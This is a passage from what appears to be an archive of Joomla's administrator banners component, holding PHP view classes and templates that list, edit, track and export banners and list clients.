							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) :
						$ordering  = ($listOrder == 'ordering');
						$item->cat_link = JRoute::_('index.php?option=com_categories&extension=com_banners&task=edit&type=other&cid[]=' . $item->catid);
						$canCreate  = $user->authorise('core.create',     'com_banners.category.' . $item->catid);
						$canEdit    = $user->authorise('core.edit',       'com_banners.category.' . $item->catid);
						$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
						$canChange  = $user->authorise('core.edit.state', 'com_banners.category.' . $item->catid) && $canCheckin;
						?>
						<tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php echo $item->catid; ?>">
							<td class="order nowrap center hidden-phone">
								<?php
								$iconClass = '';

								if (!$canChange)
								{
									$iconClass = ' inactive';
								}
								elseif (!$saveOrder)
								{
									$iconClass = ' inactive tip-top hasTooltip" title="' . JHtml::_('tooltipText', 'JORDERINGDISABLED');
								}
								?>
								<span class="sortable-handler <?php echo $iconClass ?>">
									<span class="icon-menu" aria-hidden="true"></span>
								</span>
								<?php if ($canChange && $saveOrder) : ?>
									<input type="text" style="display:none" name="order[]" size="5"
										value="<?php echo $item->ordering; ?>" class="width-20 text-area-order" />
								<?php endif; ?>
							</td>
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->state, $i, 'banners.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?>
									<?php // Create dropdown items and render the dropdown list.
									if ($canChange)
									{
										JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'banners');
										JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'banners');
										echo JHtml::_('actionsdropdown.render', $this->escape($item->name));
									}
									?>
								</div>
							</td>
							<td class="has-context">
								<div class="pull-left break-word">
									<?php if ($item->checked_out) : ?>
										<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'banners.', $canCheckin); ?>
									<?php endif; ?>
									<?php if ($canEdit) : ?>
										<a href="<?php echo JRoute::_('index.php?option=com_banners&task=banner.edit&id=' . (int) $item->id); ?>">
											<?php echo $this->escape($item->name); ?></a>
									<?php else : ?>
										<?php echo $this->escape($item->name); ?>
									<?php endif; ?>
									<span class="small break-word">
										<?php echo JText::sprintf('JGLOBAL_LIST_ALIAS', $this->escape($item->alias)); ?>
									</span>
									<div class="small">
										<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
									</div>
								</div>
							</td>
							<td class="center hidden-phone">
								<?php echo JHtml::_('banner.pinned', $item->sticky, $i, $canChange); ?>
							</td>
							<td class="small hidden-phone">
								<?php echo $item->client_name; ?>
							</td>
							<td class="small hidden-phone">
								<?php echo JText::sprintf('COM_BANNERS_IMPRESSIONS', $item->impmade, $item->imptotal ?: JText::_('COM_BANNERS_UNLIMITED')); ?>
							</td>
							<td class="small hidden-phone">
								<?php echo $item->clicks; ?> -
								<?php echo sprintf('%.2f%%', $item->impmade ? 100 * $item->clicks / $item->impmade : 0); ?>
							</td>
							<td class="small nowrap hidden-phone">
								<?php echo JLayoutHelper::render('joomla.content.language', $item); ?>
							</td>
							<td class="hidden-phone">
								<?php echo $item->id; ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
			<?php // Load the batch processing form. ?>
			<?php if ($user->authorise('core.create', 'com_banners')
				&& $user->authorise('core.edit', 'com_banners')
				&& $user->authorise('core.edit.state', 'com_banners')) : ?>
				<?php echo JHtml::_(
					'bootstrap.renderModal',
					'collapseModal',
					array(
						'title'  => JText::_('COM_BANNERS_BATCH_OPTIONS'),
						'footer' => $this->loadTemplate('batch_footer'),
					),
					$this->loadTemplate('batch_body')
				); ?>
			<?php endif; ?>
		<?php endif; ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_banners/views/banners/view.html.php000060400000011141152455305270014247 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of banners.
 *
 * @since  1.6
 */
class BannersViewBanners extends JViewLegacy
{
	/**
	 * Category data
	 *
	 * @var  array
	 */
	protected $categories;

	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  A string if successful, otherwise a JError object.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$this->categories    = $this->get('CategoryOrders');
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		BannersHelper::addSubmenu('banners');

		$this->addToolbar();

		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

		$canDo = JHelperContent::getActions('com_banners', 'category', $this->state->get('filter.category_id'));
		$user  = JFactory::getUser();

		JToolbarHelper::title(JText::_('COM_BANNERS_MANAGER_BANNERS'), 'bookmark banners');

		if (count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0)
		{
			JToolbarHelper::addNew('banner.add');
		}

		if ($canDo->get('core.edit'))
		{
			JToolbarHelper::editList('banner.edit');
		}

		if ($canDo->get('core.edit.state'))
		{
			if ($this->state->get('filter.published') != 2)
			{
				JToolbarHelper::publish('banners.publish', 'JTOOLBAR_PUBLISH', true);
				JToolbarHelper::unpublish('banners.unpublish', 'JTOOLBAR_UNPUBLISH', true);
			}

			if ($this->state->get('filter.published') != -1)
			{
				if ($this->state->get('filter.published') != 2)
				{
					JToolbarHelper::archiveList('banners.archive');
				}
				elseif ($this->state->get('filter.published') == 2)
				{
					JToolbarHelper::unarchiveList('banners.publish');
				}
			}
		}

		if ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::checkin('banners.checkin');
		}

		// Add a batch button
		if ($user->authorise('core.create', 'com_banners')
			&& $user->authorise('core.edit', 'com_banners')
			&& $user->authorise('core.edit.state', 'com_banners'))
		{
			$title = JText::_('JTOOLBAR_BATCH');

			// Instantiate a new JLayoutFile instance and render the batch button
			$layout = new JLayoutFile('joomla.toolbar.batch');

			$dhtml = $layout->render(array('title' => $title));
			JToolbar::getInstance('toolbar')->appendButton('Custom', $dhtml, 'batch');
		}

		if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete'))
		{
			JToolbarHelper::deleteList('JGLOBAL_CONFIRM_DELETE', 'banners.delete', 'JTOOLBAR_EMPTY_TRASH');
		}
		elseif ($canDo->get('core.edit.state'))
		{
			JToolbarHelper::trash('banners.trash');
		}

		if ($user->authorise('core.admin', 'com_banners') || $user->authorise('core.options', 'com_banners'))
		{
			JToolbarHelper::preferences('com_banners');
		}

		JToolbarHelper::help('JHELP_COMPONENTS_BANNERS_BANNERS');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'ordering'    => JText::_('JGRID_HEADING_ORDERING'),
			'a.state'     => JText::_('JSTATUS'),
			'a.name'      => JText::_('COM_BANNERS_HEADING_NAME'),
			'a.sticky'    => JText::_('COM_BANNERS_HEADING_STICKY'),
			'client_name' => JText::_('COM_BANNERS_HEADING_CLIENT'),
			'impmade'     => JText::_('COM_BANNERS_HEADING_IMPRESSIONS'),
			'clicks'      => JText::_('COM_BANNERS_HEADING_CLICKS'),
			'a.language'  => JText::_('JGRID_HEADING_LANGUAGE'),
			'a.id'        => JText::_('JGRID_HEADING_ID'),
		);
	}
}
com_banners/views/banner/view.html.php000060400000005610152455305270014070 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

/**
 * View to edit a banner.
 *
 * @since  1.5
 */
class BannersViewBanner extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var  JForm
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var  object
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		// Initialize variables.
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user       = JFactory::getUser();
		$userId     = $user->id;
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Since we don't track these assets at the item level, use the category id.
		$canDo = JHelperContent::getActions('com_banners', 'category', $this->item->catid);

		JToolbarHelper::title($isNew ? JText::_('COM_BANNERS_MANAGER_BANNER_NEW') : JText::_('COM_BANNERS_MANAGER_BANNER_EDIT'), 'bookmark banners');

		// If not checked out, can save the item.
		if (!$checkedOut && ($canDo->get('core.edit') || count($user->getAuthorisedCategories('com_banners', 'core.create')) > 0))
		{
			JToolbarHelper::apply('banner.apply');
			JToolbarHelper::save('banner.save');

			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2new('banner.save2new');
			}
		}

		// If an existing item, can save to a copy.
		if (!$isNew && $canDo->get('core.create'))
		{
			JToolbarHelper::save2copy('banner.save2copy');
		}

		if (empty($this->item->id))
		{
			JToolbarHelper::cancel('banner.cancel');
		}
		else
		{
			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $canDo->get('core.edit'))
			{
				JToolbarHelper::versions('com_banners.banner', $this->item->id);
			}

			JToolbarHelper::cancel('banner.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_BANNERS_BANNERS_EDIT');
	}
}
com_banners/views/banner/tmpl/edit.php000060400000006066152455305270014062 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('jquery.framework');
JHtml::_('behavior.formvalidator');
JHtml::_('formbehavior.chosen', '#jform_catid', null, array('disable_search_threshold' => 0 ));
JHtml::_('formbehavior.chosen', 'select');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbutton = function(task)
	{
		if (task == "banner.cancel" || document.formvalidator.isValid(document.getElementById("banner-form")))
		{
			Joomla.submitform(task, document.getElementById("banner-form"));
		}
	};
	jQuery(document).ready(function ($){
		$("#jform_type").on("change", function (a, params) {

			var v = typeof(params) !== "object" ? $("#jform_type").val() : params.selected;

			var img_url = $("#image, #url");
			var custom  = $("#custom");

			switch (v) {
				case "0":
					// Image
					img_url.show();
					custom.hide();
					break;
				case "1":
					// Custom
					img_url.hide();
					custom.show();
					break;
			}
		}).trigger("change");
	});
');
?>

<form action="<?php echo JRoute::_('index.php?option=com_banners&layout=edit&id=' . (int) $this->item->id); ?>" method="post" name="adminForm" id="banner-form" class="form-validate">

	<?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?>

	<div class="form-horizontal">
		<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'details')); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'details', JText::_('COM_BANNERS_BANNER_DETAILS')); ?>
		<div class="row-fluid">
			<div class="span9">
				<?php echo $this->form->renderField('type'); ?>
				<div id="image">
					<?php echo $this->form->renderFieldset('image'); ?>
				</div>
				<div id="custom">
					<?php echo $this->form->renderField('custombannercode'); ?>
				</div>
				<?php
				echo $this->form->renderField('clickurl');
				echo $this->form->renderField('description');
				?>
			</div>
			<div class="span3">
				<?php echo JLayoutHelper::render('joomla.edit.global', $this); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'otherparams', JText::_('COM_BANNERS_GROUP_LABEL_BANNER_DETAILS')); ?>
		<?php echo $this->form->renderFieldset('otherparams'); ?>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'publishing', JText::_('JGLOBAL_FIELDSET_PUBLISHING')); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo JLayoutHelper::render('joomla.edit.publishingdata', $this); ?>
			</div>
			<div class="span6">
				<?php echo $this->form->renderFieldset('metadata'); ?>
			</div>
		</div>
		<?php echo JHtml::_('bootstrap.endTab'); ?>

		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	</div>

	<input type="hidden" name="task" value="" />
	<?php echo JHtml::_('form.token'); ?>
</form>
com_banners/views/download/view.html.php000060400000001637152455305270014437 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for download a list of tracks.
 *
 * @since  1.6
 */
class BannersViewDownload extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var  JForm
	 */
	protected $form;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->form = $this->get('Form');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		return parent::display($tpl);
	}
}
com_banners/views/download/tmpl/default.php000060400000002126152455305270015114 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip', '.hasTooltip', array('placement' => 'bottom'));
?>
<div class="container-popup">
	<form
		class="form-horizontal form-validate"
		id="download-form"
		name="adminForm"
		action="<?php echo JRoute::_('index.php?option=com_banners&task=tracks.display&format=raw&' . JSession::getFormToken() . '=1'); ?>"
		method="post">

		<?php foreach ($this->form->getFieldset() as $field) : ?>
			<?php echo $this->form->renderField($field->fieldname); ?>
		<?php endforeach; ?>

		<button class="hidden"
			id="closeBtn"
			type="button"
			onclick="window.parent.jQuery('#modal-download').modal('hide');">
		</button>
		<button class="hidden"
			id="exportBtn"
			type="button"
			onclick="this.form.submit();window.top.setTimeout('window.parent.jQuery(\'#downloadModal\').modal(\'hide\')', 700);">
		</button>
	</form>
</div>
com_banners/views/tracks/view.html.php000060400000006224152455305270014114 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('BannersHelper', JPATH_ADMINISTRATOR . '/components/com_banners/helpers/banners.php');

/**
 * View class for a list of tracks.
 *
 * @since  1.6
 */
class BannersViewTracks extends JViewLegacy
{
	/**
	 * An array of items
	 *
	 * @var  array
	 */
	protected $items;

	/**
	 * The pagination object
	 *
	 * @var  JPagination
	 */
	protected $pagination;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		$this->items         = $this->get('Items');
		$this->pagination    = $this->get('Pagination');
		$this->state         = $this->get('State');
		$this->filterForm    = $this->get('FilterForm');
		$this->activeFilters = $this->get('ActiveFilters');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		BannersHelper::addSubmenu('tracks');

		$this->addToolbar();

		$this->sidebar = JHtmlSidebar::render();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		$canDo = JHelperContent::getActions('com_banners', 'category', $this->state->get('filter.category_id'));

		JToolbarHelper::title(JText::_('COM_BANNERS_MANAGER_TRACKS'), 'bookmark banners-tracks');

		$bar = JToolbar::getInstance('toolbar');

		// Instantiate a new JLayoutFile instance and render the export button
		$layout = new JLayoutFile('joomla.toolbar.modal');

		$dhtml  = $layout->render(
			array(
				'selector' => 'downloadModal',
				'icon'     => 'download',
				'text'     => JText::_('JTOOLBAR_EXPORT'),
			)
		);

		$bar->appendButton('Custom', $dhtml, 'download');

		if ($canDo->get('core.delete'))
		{
			$bar->appendButton('Confirm', 'COM_BANNERS_DELETE_MSG', 'delete', 'COM_BANNERS_TRACKS_DELETE', 'tracks.delete', false);
			JToolbarHelper::divider();
		}

		if ($canDo->get('core.admin') || $canDo->get('core.options'))
		{
			JToolbarHelper::preferences('com_banners');
			JToolbarHelper::divider();
		}

		JToolbarHelper::help('JHELP_COMPONENTS_BANNERS_TRACKS');

		JHtmlSidebar::setAction('index.php?option=com_banners&view=tracks');
	}

	/**
	 * Returns an array of fields the table can be sorted by
	 *
	 * @return  array  Array containing the field name to sort by as the key and display text as value
	 *
	 * @since   3.0
	 */
	protected function getSortFields()
	{
		return array(
			'b.name'     => JText::_('COM_BANNERS_HEADING_NAME'),
			'cl.name'    => JText::_('COM_BANNERS_HEADING_CLIENT'),
			'track_type' => JText::_('COM_BANNERS_HEADING_TYPE'),
			'count'      => JText::_('COM_BANNERS_HEADING_COUNT'),
			'track_date' => JText::_('JDATE')
		);
	}
}
com_banners/views/tracks/view.raw.php000060400000002237152455305270013741 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View class for a list of tracks.
 *
 * @since  1.6
 */
class BannersViewTracks extends JViewLegacy
{
	/**
	 * Display the view
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  void
	 */
	public function display($tpl = null)
	{
		$basename = $this->get('BaseName');
		$filetype = $this->get('FileType');
		$mimetype = $this->get('MimeType');
		$content  = $this->get('Content');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		$document = JFactory::getDocument();
		$document->setMimeEncoding($mimetype);
		JFactory::getApplication()
			->setHeader(
				'Content-disposition',
				'attachment; filename="' . $basename . '.' . $filetype . '"; creation-date="' . JFactory::getDate()->toRFC822() . '"',
				true
			);
		echo $content;
	}
}
com_banners/views/tracks/tmpl/default.php000060400000007603152455305270014601 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('formbehavior.chosen', 'select');
JHtml::_('bootstrap.tooltip');

$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
?>
<form action="<?php echo JRoute::_('index.php?option=com_banners&view=tracks'); ?>" method="post" name="adminForm" id="adminForm">
<?php if (!empty( $this->sidebar)) : ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
		<?php echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this)); ?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped">
				<thead>
					<tr>
						<th class="title">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_NAME', 'b.name', $listDirn, $listOrder); ?>
						</th>
						<th width="20%" class="nowrap">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_CLIENT', 'cl.name', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_TYPE', 'a.track_type', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_COUNT', 'a.count', $listDirn, $listOrder); ?>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JDATE', 'a.track_date', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="5">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) : ?>
						<tr class="row<?php echo $i % 2; ?>">
							<td>
								<?php echo $item->banner_name; ?>
								<div class="small">
									<?php echo JText::_('JCATEGORY') . ': ' . $this->escape($item->category_title); ?>
								</div>
							</td>
							<td>
								<?php echo $item->client_name; ?>
							</td>
							<td class="small hidden-phone">
								<?php echo $item->track_type == 1 ? JText::_('COM_BANNERS_IMPRESSION') : JText::_('COM_BANNERS_CLICK'); ?>
							</td>
							<td class="hidden-phone">
								<?php echo $item->count; ?>
							</td>
							<td class="hidden-phone">
								<?php echo JHtml::_('date', $item->track_date, JText::_('DATE_FORMAT_LC5')); ?>
							</td>
						</tr>
					<?php endforeach; ?>
				</tbody>
			</table>
		<?php endif; ?>

		<?php // Load the export form ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'downloadModal',
			array(
				'title'       => JText::_('COM_BANNERS_TRACKS_DOWNLOAD'),
				'url'         => JRoute::_('index.php?option=com_banners&amp;view=download&amp;tmpl=component'),
				'height'      => '370px',
				'width'       => '300px',
				'modalWidth'  => '40',
				'footer'      => '<button type="button" class="btn" data-dismiss="modal"'
						. ' onclick="jQuery(\'#downloadModal iframe\').contents().find(\'#closeBtn\').click();">'
						. JText::_('COM_BANNERS_CANCEL') . '</button>'
						. '<button type="button" class="btn btn-success"'
						. ' onclick="jQuery(\'#downloadModal iframe\').contents().find(\'#exportBtn\').click();">'
						. JText::_('COM_BANNERS_TRACKS_EXPORT') . '</button>',
			)
		); ?>

		<input type="hidden" name="task" value="" />
		<input type="hidden" name="boxchecked" value="0" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</form>
com_banners/views/clients/tmpl/default.php000060400000017223152455305270014752 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_banners
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');

JHtml::_('bootstrap.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('formbehavior.chosen', 'select');

$purchaseTypes = array(
		'1' => 'UNLIMITED',
		'2' => 'YEARLY',
		'3' => 'MONTHLY',
		'4' => 'WEEKLY',
		'5' => 'DAILY',
);

$user       = JFactory::getUser();
$userId     = $user->get('id');
$listOrder  = $this->escape($this->state->get('list.ordering'));
$listDirn   = $this->escape($this->state->get('list.direction'));
$params     = isset($this->state->params) ? $this->state->params : new JObject;
?>
<form action="<?php echo JRoute::_('index.php?option=com_banners&view=clients'); ?>" method="post" name="adminForm" id="adminForm">
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
		<?php
		// Search tools bar
		echo JLayoutHelper::render('joomla.searchtools.default', array('view' => $this));
		?>
		<?php if (empty($this->items)) : ?>
			<div class="alert alert-no-items">
				<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
			</div>
		<?php else : ?>
			<table class="table table-striped">
				<thead>
					<tr>
						<th width="1%" class="center">
							<?php echo JHtml::_('grid.checkall'); ?>
						</th>
						<th width="5%" class="nowrap center">
							<?php echo JHtml::_('searchtools.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>
						<th>
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_CLIENT', 'a.name', $listDirn, $listOrder); ?>
						</th>
						<th width="20%" class="hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_CONTACT', 'a.contact', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap center hidden-phone hidden-tablet">
							<span class="icon-publish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_BANNERS_COUNT_PUBLISHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_BANNERS_COUNT_PUBLISHED_ITEMS'); ?></span></span>
						</th>
						<th width="1%" class="nowrap center hidden-phone hidden-tablet">
							<span class="icon-unpublish hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_BANNERS_COUNT_UNPUBLISHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_BANNERS_COUNT_UNPUBLISHED_ITEMS'); ?></span></span>
						</th>
						<th width="1%" class="nowrap center hidden-phone hidden-tablet">
							<span class="icon-archive hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_BANNERS_COUNT_ARCHIVED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_BANNERS_COUNT_ARCHIVED_ITEMS'); ?></span></span>
						</th>
						<th width="1%" class="nowrap center hidden-phone hidden-tablet">
							<span class="icon-trash hasTooltip" aria-hidden="true" title="<?php echo JText::_('COM_BANNERS_COUNT_TRASHED_ITEMS'); ?>"><span class="element-invisible"><?php echo JText::_('COM_BANNERS_COUNT_TRASHED_ITEMS'); ?></span></span>
						</th>
						<th width="10%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'COM_BANNERS_HEADING_PURCHASETYPE', 'a.purchase_type', $listDirn, $listOrder); ?>
						</th>
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('searchtools.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>
					</tr>
				</thead>
				<tfoot>
					<tr>
						<td colspan="11">
							<?php echo $this->pagination->getListFooter(); ?>
						</td>
					</tr>
				</tfoot>
				<tbody>
					<?php foreach ($this->items as $i => $item) :
						$canCreate  = $user->authorise('core.create',     'com_banners');
						$canEdit    = $user->authorise('core.edit',       'com_banners');
						$canCheckin = $user->authorise('core.manage',     'com_checkin') || $item->checked_out == $user->get('id') || $item->checked_out == 0;
						$canChange  = $user->authorise('core.edit.state', 'com_banners') && $canCheckin;
						?>
						<tr class="row<?php echo $i % 2; ?>">
							<td class="center">
								<?php echo JHtml::_('grid.id', $i, $item->id); ?>
							</td>
							<td class="center">
								<div class="btn-group">
									<?php echo JHtml::_('jgrid.published', $item->state, $i, 'clients.', $canChange); ?>
									<?php // Create dropdown items and render the dropdown list.

									if ($canChange)
									{
										JHtml::_('actionsdropdown.' . ((int) $item->state === 2 ? 'un' : '') . 'archive', 'cb' . $i, 'clients');
										JHtml::_('actionsdropdown.' . ((int) $item->state === -2 ? 'un' : '') . 'trash', 'cb' . $i, 'clients');
										echo JHtml::_('actionsdropdown.render', $this->escape($item->name));
									}
									?>
								</div>
							</td>
							<td class="nowrap has-context">
								<div class="pull-left">
									<?php if ($item->checked_out) : ?>
										<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'clients.', $canCheckin); ?>
									<?php endif; ?>
									<?php if ($canEdit) : ?>
										<a href="<?php echo JRoute::_('index.php?option=com_banners&task=client.edit&id=' . (int) $item->id); ?>">
											<?php echo $this->escape($item->name); ?></a>
									<?php else : ?>
										<?php echo $this->escape($item->name); ?>
									<?php endif; ?>
								</div>
							</td>
							<td class="small hidden-phone">
								<?php echo $item->contact; ?>
							</td>
							<td class="center btns hidden-phone hidden-tablet">
